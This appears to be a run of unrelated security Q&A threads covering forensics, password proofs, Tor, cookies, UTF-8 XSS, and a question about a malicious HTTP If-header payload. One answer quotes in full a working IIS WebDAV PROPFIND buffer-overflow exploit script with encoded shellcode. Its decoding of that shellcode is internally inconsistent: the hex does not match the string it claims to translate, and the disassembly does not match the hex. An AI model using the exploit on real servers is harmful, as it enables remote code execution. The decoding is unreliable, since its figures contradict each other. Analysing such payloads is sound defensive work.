Tracing source of a file If I give someone a thumb drive I've used to copy a file from my PC to the thumb drive, can that file be traced back to my computer?

The BTK killer was caught by a similar method, although that was a floppy disk.  The exact means are available in this article.  Additionally, I know of computer forensics that have been used in catching theft of intellectual property when people have switched companies.  In those cases, files from the source company where copied to a USB drive and then taken home.

I don't think it's an easy thing to do, but it certainly is possible.  To be certain, the person doing the forensics would need access to your computer.  I'd wager you wouldn't do that willingly, so that would involve a search warrant.


Zero Knowledge Password Proof: why is hashing the password on the client side not a ZKP? Scenario:

Client sends its username u to server.
Server extracts a tuple in the form of (username, salt, hashed_password) from its database, where username matches the client's username u. hashed_password is the result of hash(salt + password) (where hash is a modern cryptographic hash function) which has been computed when the tuple has been written to the database (e.g. during user registration).
Server sends salt to client.
Client computes h := hash(salt + password) and sends h to the server.
Server compares h with hashed_password and grants access if the hashes match.

If we assume that the server has not computed the hash during the user's registration (instead, the client computed the hash and sent the tuple (username, salt, hashed_password) to the server in order to store it in the database), why is this scenario not considered a zero knowledge password proof? Or is it in fact a ZKP?

From my understanding the server has never seen the actual password, but it can be verified that the client posses the original password which was used to create the initial hash.

Your example removes the notion of hashing altogether: H(S+P) becomes a cleartext password that can directly be reused without any extra work.


How Does Tor Prevent the Exit Node from Seeing the IP of a Tor Website Usually the anonimity aspect of Tor is explained from the client point of view. The entry node can know who you are but cannot know which website you're accessing, and the exit node cannot know who you are.
My question is, how does it keep the host anonymous. When someone accesses a Tor website, the exit node sends the data to & from the website being accessed right? How does Tor prevent the exit node from seeing the IP address of the website being accessed? Sure it won't know who's accessing the website, but won't it know who is hosting the website?
Edit: I understand now that hidden services create Tor circuits to introduction points and clients connect to those with their own tor circuits. I guess a better way to ask my question is this:
Does the first node in the Tor circuit from the hidden service to the introduction point see both the public key and the IP of the hidden service?

Tor hidden services do not operate trough exit nodes. Hidden services picks some nodes as introduction points and builds protected Tor routes to them. Clients connect those services by building own Tor routes to these introduction points.
Only the introduction points know they have route to the hidden service. For the other nodes it looks just like any other encrypted Tor traffic: they cannot distinguish services from each other nor services from clients. It does not matter that the first node sees the IP address, because it has no idea it is the hidden service.
However, it might be possible to deduce a location of a hidden service by its downtimes, if there is just a single instance serving it. Think there are recurring power or Internet outages in your area. If someone can match those with the downtimes of the service, the approximate location or network might be exposed. Furthermore, it would be possible to use e.g. DDoS to delimit it to a single IP address. Having multiple instances to introduce the same service mitigates the threat.


CakePHP Set-Cookie Response Header I am familiar with the cakePHP cookie and session settings but I am unsure as to why (when analyzing through the Burp Proxy Suite I am finding 2 separate Set-Cookie responses:

Set-Cookie: DropZone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Set-Cookie: DropZone=spackr9fhhgod0lqk9glh3ch44; expires=Tue, 28-Jan-2014 23:01:37 GMT; path=/; secure; HttpOnly

I have taken the time to set the HTTPOnly and Secure flags. What I don't understand is the first line here:

Set-Cookie: DropZone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/

Where could this Set-Cookie header be coming from? More importantly, could this be more than an informational security threat?

I am clearly in my app/Config/core.php file setting the Session settings:

Configure::write('Session', array(
    'defaults' => 'php',
    'cookie' => 'DropZone',
    'timeout' => 15,
    'ini' => array(
        'session.cookie_secure' => true,
        'session.cookie_httponly' => true)
));

This is actually coming from where CakePHP is renewing its session. Culprit can be found at:

CakePHP 2.4: https://github.com/cakephp/cakephp/blob/2.4/lib/Cake/Model/Datasource/CakeSession.php#L686

CakePHP 2.6: https://github.com/cakephp/cakephp/blob/2.6/lib/Cake/Model/Datasource/CakeSession.php#L721

And the documentation in setcookie has clearly said that:

  Cookies must be deleted with the same parameters as they were set with. If the value argument is an empty string, or FALSE, and all other arguments match a previous call to setcookie, then the cookie with the specified name will be deleted from the remote client. This is internally achieved by setting value to 'deleted' and expiration time to one year in past.

This is why you get a non-httponly setcookie call from whenever your session is renewing, especially you are doing a logout action.


Explanation of illegal multi-byte encoding leading to XSS I'm reading this report on unicode security and found the following paragraphs confusing:

  When converting from a multi-byte encoding, a byte value may not be a
  valid trailing byte, in a context where it follows a particular
  leading byte. For example, when converting UTF-8 input, the byte
  sequence E3 80 22 is malformed because 0x22 is not a valid second
  trailing byte following the leading byte 0xE3. Some conversion code
  may report the three-byte sequence E3 80 22 as one illegal sequence
  and continue converting the rest, while other conversion code may
  report only the two-byte sequence E3 80 as an illegal sequence and
  continue converting with the 0x22 byte which is a syntax character in
  HTML and XML (U+0022 double quote). Implementations that report the
  0x22 byte as part of the illegal sequence can be exploited for
  cross-site-scripting (XSS) attacks.

  Therefore, an illegal byte sequence must not include bytes that encode
  valid characters or are leading bytes for valid characters.

Based on the example described (E3 80 22) as a byte sequence, it is clear that it not valid:

>>> b'\xe3\x80\x22'.decode('utf-8')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
UnicodeDecodeError: 'utf-8' codec can't decode bytes in position 0-1: invalid continuation byte

and the question is how a good parser/converter is supposed to manage this type of error.

Probably I'm misunderstanding something, but it says that some may report an error with the whole sequence (E3 80 22), but others may report an error with E3 80 and continue converting the 22 byte as a double quote. However, it says that when the report includes the 22 byte, then this can be exploited in a XSS attack. That's the part that is confusing; I would have thought that it was the second instance the one leading to XSS vulnerabilities. What is the rationale to think it should be the first  instance vulnerable to XSS?

An additional question: How is this type of issue exploitable in practice (assuming we are interested in web applications)? Am I supposed to simply use URL encoding or HTML encoding (%E3%80%22 and &#xE3&#x80&#x22, respectively) and hope for the best?

If your webpage considers 'E3 80 22' as one sequence then the '22' won't be escaped... if you deliver this page to a browser who considers 'E3 80 22' as 'E3 80' + '22', stripping the illegal sequence results in '22' then you have an '22' in there you don't want and this allows XSS attacks.


How do I decode this hacker payload? A hacker submitted this via apache $_SERVER["HTTP_IF"]:

http://localhost/aaaaaaa潨硣睡焳椶䝲稹䭷佰畓穏䡨噣浔桅㥓偬啧杣㍤䘰硅楒吱䱘橑牁䈱瀵塐㙤汇㔹呪倴呃睒偡㈲测水㉇扁㝍兡塢䝳剐㙰畄桪㍴乊硫䥶乳䱪坺潱塊㈰㝮䭉前䡣潌畖畵景癨䑍偰稶手敗畐橲穫睢癘扈攱ご汹偊呢倳㕷橷䅄㌴摶䵆噔䝬敃瘲牸坩䌸扲娰夸呈ȂȂዀ栃汄剖䬷汭佘塚祐䥪塏䩒䅐晍Ꮐ栃䠴攱潃湦瑁䍬Ꮐ栃千橁灒㌰塦䉌灋捆关祁穐䩬> (Not <locktoken:write1>) <http://localhost/bbbbbbb祈慵佃潧歯䡅㙆杵䐳㡱坥婢吵噡楒橓兗㡎奈捕䥱䍤摲㑨䝘煹㍫歕浈偏穆㑱潔瑃奖潯獁㑗慨穲㝅䵉坎呈䰸㙺㕲扦湃䡭㕈慷䵚慴䄳䍥割浩㙱乤渹捓此兆估硯牓材䕓穣焹体䑖漶獹桷穖慊㥅㘹氹䔱㑲卥塊䑎穄氵婖扁湲昱奙吳ㅂ塥奁煐〶坷䑗卡Ꮐ栃湏栀湏栀䉇癪Ꮐ栃䉗佴奇刴䭦䭂瑤硯悂栁儵牺瑺䵇䑙块넓栀ㅶ湯ⓣ栁ᑠ栃̀翾Ꮐ栃Ѯ栃煮瑰ᐴ栃⧧栁鎑栀㤱普䥕げ呫癫牊祡ᐜ栃清栀眲票䵩㙬䑨䵰艆栀䡷㉓ᶪ栂潪䌵ᏸ栃⧧栁VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBKLIX1yYpYpipS0ayhe01IBc4dKNrlptKoblL2k1BZtBk3BkxzoFWPJNFLqyomaI0FLml0acLLBLlMPgQHOZmIqWWHbZPObr7dKqBjpdK12MlM1Z0bkOPT8Qu5p0tnj9qz0pPRkNhmHRkOhKpKQVsHcmlMyDKnTRkM1Z601ioMaepvLva8OlMzaY7nXYP1eYdkSSMXxMksMKtT5ZBR8Rkr8Ktyq9Cc64KzlpKTK28mLiqJ3rkM42km1hP3Yq4ldO4QK1KPab9qJr1ioIPNxqOaJRkLRxkTFQMS8RNC5qdm0c81gpiPnPisYK6OdphPLbWlfzgKOj5P1IoaG0Wb7R7PVrHLzNvt9FGYoz5zK30okp1WYPQNqBJYs0QOaQZNpb3NpbHaGSYEOevKOwehkpOb9P1Z21BrH9pP2c0BdNrnraBoaNrb0BHxkr5nNmk9oZ53YwVpjJpQKqX3Pp39pIpBiWp0jJdb02JMO1FOxsENfeNavYoweLqYonwB7aGNwqFQXNMkVMHQkiovuauI045kvpKjoe4Rcm0m0ipJKvqiYETkPipKPk84lyoKOIoLoPibMOqs7C53CnO31qR1SLo14pLnNRP1Xppm0ZKPkNQWPoopPqZyrpjIrb0QZm22Jm227Ox8ZyfWj0Oyovu4S01gPqVh8Jdm3o9gTr44MpLKtlHp1Y0fTM3r0B1b638zrF6dIzBIoGequY0D4nMaHReepD4kf1ZipPT20dMq4LdjlpPb3QXNM1GtnokYofu2cZLlDxkhNOcphVfbvcWQBYoZ5ozYpR72HP1dK2ORgyoj5PjIps8hp85DbaFIo6uJHrp9oIokONcoJNONOr2rERCPyos2L35qbLoloPsT6s3382Opsptlns5qhPeypyXibKNIoYoMa01LqLnOBOCp0lnmbLrp9lnP2nRlvKPAA

How do I decode this myself?
What does it say?
Are there any automated tools I can use to automatically detect and decode this sort of thing?  (Hopefully I can integrate into php7)

I found this document here.

#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.
#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China
#-----------Email: edwardz@foxmail.com
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'
pay+=shellcode
pay+='>\r\n\r\n'
print pay
sock.send(pay)
data = sock.recv(80960)
print data
sock.close

It matches with the start of your payload which is:

http://localhost/aaaaaaa潨硣...

Chinese text to hex:

e6 bd a8 e7 a1 a3

I suppose they used this to launch calc.exe.

Maybe you can start from here.

EDIT:

Although I don't have a definitive answer for you, perhaps I can be a bit more helpful.

Your shell code seems to be:

VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBKLIX1yYpYpipS0ayhe01IBc4dKNrlptKoblL2k1BZtBk3BkxzoFWPJNFLqyomaI0FLml0acLLBLlMPgQHOZmIqWWHbZPObr7dKqBjpdK12MlM1Z0bkOPT8Qu5p0tnj9qz0pPRkNhmHRkOhKpKQVsHcmlMyDKnTRkM1Z601ioMaepvLva8OlMzaY7nXYP1eYdkSSMXxMksMKtT5ZBR8Rkr8Ktyq9Cc64KzlpKTK28mLiqJ3rkM42km1hP3Yq4ldO4QK1KPab9qJr1ioIPNxqOaJRkLRxkTFQMS8RNC5qdm0c81gpiPnPisYK6OdphPLbWlfzgKOj5P1IoaG0Wb7R7PVrHLzNvt9FGYoz5zK30okp1WYPQNqBJYs0QOaQZNpb3NpbHaGSYEOevKOwehkpOb9P1Z21BrH9pP2c0BdNrnraBoaNrb0BHxkr5nNmk9oZ53YwVpjJpQKqX3Pp39pIpBiWp0jJdb02JMO1FOxsENfeNavYoweLqYonwB7aGNwqFQXNMkVMHQkiovuauI045kvpKjoe4Rcm0m0ipJKvqiYETkPipKPk84lyoKOIoLoPibMOqs7C53CnO31qR1SLo14pLnNRP1Xppm0ZKPkNQWPoopPqZyrpjIrb0QZm22Jm227Ox8ZyfWj0Oyovu4S01gPqVh8Jdm3o9gTr44MpLKtlHp1Y0fTM3r0B1b638zrF6dIzBIoGequY0D4nMaHReepD4kf1ZipPT20dMq4LdjlpPb3QXNM1GtnokYofu2cZLlDxkhNOcphVfbvcWQBYoZ5ozYpR72HP1dK2ORgyoj5PjIps8hp85DbaFIo6uJHrp9oIokONcoJNONOr2rERCPyos2L35qbLoloPsT6s3382Opsptlns5qhPeypyXibKNIoYoMa01LqLnOBOCp0lnmbLrp9lnP2nRlvKPAA

This translates to this in hex:

{ 0x56, 0x56, 0x59, 0x41, 0x34, 0x34, 0x34, 0x34, 0x34, 0x34, 0x34, 0x34, 0x34, 0x34, 0x51, 0x41, 0x54, 0x41, 0x58, 0x41, 0x5A, 0x41, 0x50, 0x41, 0x33, 0x51, 0x41, 0x44, 0x41, 0x5A, 0x41, 0x42, 0x41, 0x52, 0x41, 0x4C, 0x41, 0x59, 0x41, 0x49, 0x41, 0x51, 0x41, 0x49, 0x41, 0x51, 0x41, 0x50, 0x41, 0x35, 0x41, 0x41, 0x41, 0x50, 0x41, 0x5A, 0x31, 0x41, 0x49, 0x31, 0x41, 0x49, 0x41, 0x49, 0x41, 0x4A, 0x31, 0x31, 0x41, 0x49, 0x41, 0x49, 0x41, 0x58, 0x41, 0x35, 0x38, 0x41, 0x41, 0x50, 0x41, 0x5A, 0x41, 0x42, 0x41, 0x42, 0x51, 0x49, 0x31, 0x41, 0x49, 0x51, 0x49, 0x41, 0x49, 0x51, 0x49, 0x31, 0x31, 0x31, 0x31, 0x41, 0x49, 0x41, 0x4A, 0x51, 0x49, 0x31, 0x41, 0x59, 0x41, 0x5A, 0x42, 0x41, 0x42, 0x41, 0x42, 0x41, 0x42, 0x41, 0x42, 0x33, 0x30, 0x41, 0x50, 0x42, 0x39, 0x34, 0x34, 0x4A, 0x42, 0x36, 0x58, 0x36, 0x57, 0x4D, 0x56, 0x37, 0x4F, 0x37, 0x5A, 0x38, 0x5A, 0x38, 0x59, 0x38, 0x59, 0x32, 0x54, 0x4D, 0x54, 0x4A, 0x54, 0x31, 0x4D, 0x30, 0x31, 0x37, 0x59, 0x36, 0x51, 0x30, 0x31, 0x30, 0x31, 0x30, 0x45, 0x4C, 0x53, 0x4B, 0x53, 0x30, 0x45, 0x4C, 0x53, 0x33, 0x53, 0x4A, 0x4D, 0x30, 0x4B, 0x37, 0x54, 0x30, 0x4A, 0x30, 0x36, 0x31, 0x4B, 0x34, 0x4B, 0x36, 0x55, 0x37, 0x57, 0x35, 0x4B, 0x4A, 0x4C, 0x4F, 0x4C, 0x4D, 0x52, 0x35, 0x5A, 0x4E, 0x4C, 0x30, 0x5A, 0x4D, 0x56, 0x35, 0x4C, 0x35, 0x4C, 0x4D, 0x58, 0x31, 0x5A, 0x4C, 0x50, 0x30, 0x56, 0x33, 0x4C, 0x35, 0x4F, 0x35, 0x53, 0x4C, 0x5A, 0x35, 0x59, 0x34, 0x50, 0x4B, 0x54, 0x34, 0x50, 0x34, 0x4F, 0x35, 0x4F, 0x34, 0x55, 0x33, 0x59, 0x4A, 0x4C, 0x37, 0x4E, 0x4C, 0x55, 0x38, 0x50, 0x4D, 0x50, 0x31, 0x51, 0x4D, 0x54, 0x4D, 0x4B, 0x30, 0x35, 0x31, 0x50, 0x31, 0x51, 0x30, 0x46, 0x36, 0x54, 0x30, 0x30, 0x4E, 0x5A, 0x4C, 0x4C, 0x32, 0x4B, 0x35, 0x55, 0x30, 0x4F, 0x30, 0x58, 0x36, 0x50, 0x30, 0x4E, 0x4B, 0x53, 0x30, 0x4C, 0x36, 0x50, 0x36, 0x53, 0x38, 0x53, 0x32, 0x4F, 0x34, 0x51, 0x31, 0x55, 0x31, 0x58, 0x30, 0x36, 0x30, 0x31, 0x33, 0x57, 0x37, 0x4D, 0x30, 0x42, 0x32, 0x58, 0x35, 0x4F, 0x35, 0x52, 0x32, 0x4F, 0x30, 0x32, 0x4C, 0x54, 0x4C, 0x50, 0x4D, 0x4B, 0x37, 0x55, 0x4B, 0x4C, 0x31, 0x59, 0x39, 0x54, 0x31, 0x5A, 0x37, 0x51, 0x30, 0x46, 0x4C, 0x57, 0x32, 0x52, 0x4B, 0x55, 0x31, 0x50, 0x37, 0x58, 0x4B, 0x51, 0x33, 0x4F, 0x34, 0x53, 0x32, 0x55, 0x4C, 0x52, 0x30, 0x44, 0x4A, 0x4E, 0x35, 0x51, 0x34, 0x57, 0x31, 0x4F, 0x30, 0x48, 0x4D, 0x51, 0x4C, 0x4F, 0x33, 0x54, 0x31, 0x59, 0x39, 0x56, 0x38, 0x56, 0x30, 0x4F, 0x31, 0x55, 0x30, 0x43, 0x35, 0x4C, 0x4B, 0x58, 0x31, 0x59, 0x30, 0x52, 0x32, 0x51, 0x4D, 0x53, 0x34, 0x55, 0x39, 0x4F, 0x32, 0x54, 0x39, 0x54, 0x4D, 0x4C, 0x35, 0x4B, 0x30, 0x52, 0x4D, 0x50, 0x30, 0x45, 0x33, 0x4F, 0x4A, 0x5A, 0x32, 0x51, 0x4D, 0x53, 0x4E, 0x4E, 0x4B, 0x53, 0x31, 0x51, 0x34, 0x4C, 0x34, 0x4F, 0x35, 0x51, 0x39, 0x59, 0x4D, 0x50, 0x39, 0x4B, 0x39, 0x4B, 0x36, 0x53, 0x4E, 0x4E, 0x4C, 0x5A, 0x31, 0x59, 0x38, 0x4E, 0x4D, 0x4C, 0x4D, 0x4C, 0x32, 0x51, 0x38, 0x51, 0x30, 0x30, 0x32, 0x55, 0x31, 0x30, 0x30, 0x5A, 0x39, 0x4F, 0x4B, 0x52, 0x31, 0x4D, 0x33, 0x59, 0x35, 0x54, 0x4A, 0x4D, 0x37, 0x4F, 0x4C, 0x58, 0x38, 0x50, 0x33, 0x55, 0x4C, 0x59, 0x37, 0x59, 0x30, 0x59, 0x37, 0x58, 0x34, 0x59, 0x4D, 0x57, 0x35, 0x4D, 0x4A, 0x55, 0x4C, 0x59, 0x37, 0x52, 0x31, 0x4D, 0x4B, 0x52, 0x4B, 0x51, 0x35, 0x57, 0x30, 0x58, 0x30, 0x4E, 0x33, 0x55, 0x31, 0x4B, 0x4C, 0x50, 0x39, 0x4F, 0x31, 0x50, 0x31, 0x4C, 0x33, 0x57, 0x39, 0x50, 0x35, 0x50, 0x4F, 0x4F, 0x30, 0x46, 0x32, 0x53, 0x4D, 0x58, 0x4A, 0x4E, 0x4A, 0x4D, 0x4A, 0x53, 0x38, 0x4B, 0x4A, 0x4E, 0x4B, 0x50, 0x41 }

If you disassemble using ndisasm using -b 32 flag, you'll get:

00000000  0560560590        add eax,0x90055660
00000005  41                inc ecx
00000006  034034            add eax,[eax+0x34]
00000009  034034            add eax,[eax+0x34]
0000000C  034034            add eax,[eax+0x34]
0000000F  034034            add eax,[eax+0x34]
00000012  034034            add eax,[eax+0x34]
00000015  0510410540        add eax,0x40054110
0000001A  41                inc ecx
0000001B  05804105A0        add eax,0xa0054180
00000020  41                inc ecx
00000021  0500410330        add eax,0x30034100
00000026  51                push ecx
00000027  0410              add al,0x10
00000029  44                inc esp
0000002A  0410              add al,0x10
0000002C  5A                pop edx
0000002D  0410              add al,0x10
0000002F  42                inc edx
00000030  0410              add al,0x10
00000032  52                push edx
00000033  0410              add al,0x10
00000035  4C                dec esp
00000036  0410              add al,0x10
00000038  59                pop ecx
00000039  0410              add al,0x10
0000003B  49                dec ecx
0000003C  0410              add al,0x10
0000003E  51                push ecx
0000003F  0410              add al,0x10
00000041  49                dec ecx
00000042  0410              add al,0x10
00000044  51                push ecx
00000045  0410              add al,0x10
00000047  50                push eax
00000048  0410              add al,0x10
0000004A  3504104104        xor eax,0x4411004
0000004F  105004            adc [eax+0x4],dl
00000052  105A03            adc [edx+0x3],bl
00000055  104104            adc [ecx+0x4],al
00000058  90                nop
00000059  310410            xor [eax+edx],eax
0000005C  49                dec ecx
0000005D  0410              add al,0x10
0000005F  49                dec ecx
00000060  0410              add al,0x10
00000062  4A                dec edx
00000063  0310              add edx,[eax]
00000065  310410            xor [eax+edx],eax
00000068  49                dec ecx
00000069  0410              add al,0x10
0000006B  49                dec ecx
0000006C  0410              add al,0x10
0000006E  58                pop eax
0000006F  0410              add al,0x10
00000071  3503804104        xor eax,0x4418003
00000076  105004            adc [eax+0x4],dl
00000079  105A04            adc [edx+0x4],bl
0000007C  104204            adc [edx+0x4],al
0000007F  104205            adc [edx+0x5],al
00000082  104903            adc [ecx+0x3],cl
00000085  104104            adc [ecx+0x4],al
00000088  90                nop
00000089  51                push ecx
0000008A  0490              add al,0x90
0000008C  41                inc ecx
0000008D  0490              add al,0x90
0000008F  51                push ecx
00000090  0490              add al,0x90
00000092  3103              xor [ebx],eax
00000094  1031              adc [ecx],dh
00000096  0310              add edx,[eax]
00000098  41                inc ecx
00000099  0490              add al,0x90
0000009B  41                inc ecx
0000009C  04A0              add al,0xa0
0000009E  51                push ecx
0000009F  0490              add al,0x90
000000A1  310410            xor [eax+edx],eax
000000A4  59                pop ecx
000000A5  0410              add al,0x10
000000A7  5A                pop edx
000000A8  0420              add al,0x20
000000AA  41                inc ecx
000000AB  0420              add al,0x20
000000AD  41                inc ecx
000000AE  0420              add al,0x20
000000B0  41                inc ecx
000000B1  0420              add al,0x20
000000B3  41                inc ecx
000000B4  0420              add al,0x20
000000B6  3303              xor eax,[ebx]
000000B8  004105            add [ecx+0x5],al
000000BB  004203            add [edx+0x3],al
000000BE  90                nop
000000BF  3403              xor al,0x3
000000C1  40                inc eax
000000C2  4A                dec edx
000000C3  0420              add al,0x20
000000C5  360580360570      ss add eax,0x70053680
